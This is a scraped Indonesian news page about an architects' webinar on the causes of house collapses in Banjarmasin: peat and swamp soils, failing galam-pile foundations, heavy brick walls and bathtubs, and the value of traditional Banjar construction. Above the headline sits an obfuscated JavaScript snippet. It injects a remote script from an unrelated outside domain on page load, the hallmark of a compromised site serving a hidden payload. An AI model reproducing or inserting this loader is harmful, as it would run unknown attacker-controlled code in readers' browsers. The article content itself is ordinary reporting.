(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Fenomena Rumah Ambruk di Banjarmasin, Pakar: Saatnya Belajar Kearifan Arsitektur Lokal!


KANALKALIMANTAN.COM, BANJARMASIN– Fenomena maraknya bangunan ambruk di Kota Banjarmasin menjadi salah satu isu menarik yang dibahas kalangan arsitek di Kalimantan Selatan. Ikatan Arsitek Indonesia (IAI) Kalimantan Selatan secara khusus membedah fenomena tersebut melalui webinar bertajuk: “Bangunan Ambruk: Menggali Kembali Kearifan Arsitektur Lokal” yang digelar secara virtual, Senin (20/12/2021).

Dalam acara ini IAI Kalsel menghadirkan narasumber yakni DR Bani Noor Muchamad ST, MT sebagai peneliti Tipologi Bangunan Tradisional Banjar dan IR Muhammad Dedy Huzairin Msc sebagai Peneliti Struktur Bangunan Tradisional Banjar.

Acara yang didukung juga didukung Kanalkalimantan.com sebagai media partner ini diikuti 170 peserta dari semua kalangan.

Pada kesempatan itu, DR Bani Noor Muchamad fokus kepada konsep bangunan yang menyatukan faktor budaya, lingkungan dan adaptasi arsitektur dengan tanah basah yang menghasilkan suatu bangunan yang cocok dan kuat dengan menggunakan material bangunan seperti kayu utuh.

 

 

Baca juga : Kadis Pertanian Kotabaru : Tak Ada Penyelewengan Dilakukan Kapoktan Maju Makmur

“Penyebab ambruknya bangunan di Banjarmasin tidak hanya disebabkan oleh satu faktor saja namun ada juga disebabkan oleh akumulasi faktor-faktor yang lain baik secara alamiah maupun ulah manusia,” kata DR Bani.

Sebagai gambaran tanah gambut memiliki karakteristik yang berbeda yakni bisa menyerap air lebih banyak. Namun sekarang berubah akibat adanya pengurukan tanah mengakibatkan daya serapnya berkurang sehingga menyebabkan banjir.

Bani Noor menambahkan, rumah lokal Banjar dalam membuat tiang pondasi menggunakan kayu utuh yang potongannya tidak terlalu banyak. Lalu untuk penyambungnya tidak menggunakan paku namun menggunakan kayu bentuk balok, sehingga menghasilkan kekakuan yang merata.

Di sisi lain, dari segi bangunan Muhammad Dedy Huzairin lebih menyoroti pada kegagalan struktur pondasi di tanah rawa di Banjarmasin. Menurutnya, fenomena ini ternyata keruntuhan terdapat pada beberapa kondisi seperti proses ke arah keruntuhan jumlahnya lebih banyak dibandingkan bangunan runtuh itu sendiri, sebagian runtuh, dan biasanya owner (penghuni) melakukan perbaikan rumahnya.

 

Baca juga : Banjarbaru PPKM Level 1, Wali Kota Aditya: Cempaka 48 Persen Belum Tervaksin

Dalam konteks sebagian permasalahan seperti penurunan lantai, keretakan dinding dan kemiringan bangunan.

Ia mengatakan, tanah di Banjarmasin memiliki tanah lapisan lunak sedalam 25 meter dan tanah keras rata-rata di kedalaman 40 meter. Yang menarik rumah-rumah tradisional tidak menggunakan atau mengandalkan pancangan tetapi mengandalkan daya dukung dengan pondasi palang atau kacapuri (penampang lebar).

“Hampir semua rumah runtuh hampir semua menggunakan pondasi cerucuk galam,” ucap M Dedy Huzairin.

Salah satu upaya yang harus dilakukan untuk meminimalisir runtuhnya rumah adalah dengan cara mengedukasi tukang atau buruh bangunan, sebab tenaga tukang ada yang berpengalaman dan ada yang tidak.

 

Baca juga : Cempaka Jadi Kelurahan Bersinar di Banjarbaru, Ini Kata Ketua DPRD Fadliansyah

Lalu lokasi rumah juga sangat berpengaruh apalagi berada di titik pasang surut air, hal tersebut berdampak pada pondasi dasar kayu galam. Apabila sewaktu pemasangan pondasi saat air pasang maka akan sulit menentukan kedalaman pondasi, akibat ketika air surut dan kayu galam naik ke permukaan maka kayu galam akan lapuk.

Salah satu yang menjadi perhatian dalam penjelasan yang di sampaikan oleh M Dedy Huzairin yakni beban bangunan pada dinding dari beton yang materialnya dari batu bata. Beban yang disebabkan batu bata itu sebanyak 54 persen, ditambah lagi jika bak yang ada di kamar mandi menggunakan batu bata maka itu akan sangat membebani pondasi bangunan.

“Jadi jangan heran itu sebabnya kemiringan rumah bermula dari belakang rumah, akibat dari bak kamar mandi dibuat dari batu bata ditambah lagi dengan volume air,” kata M Dedy Huzairin. (kanalkalimantan.com /Seno)

Reporter : seno
Editor : cell

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

11 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

13 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

15 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

17 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.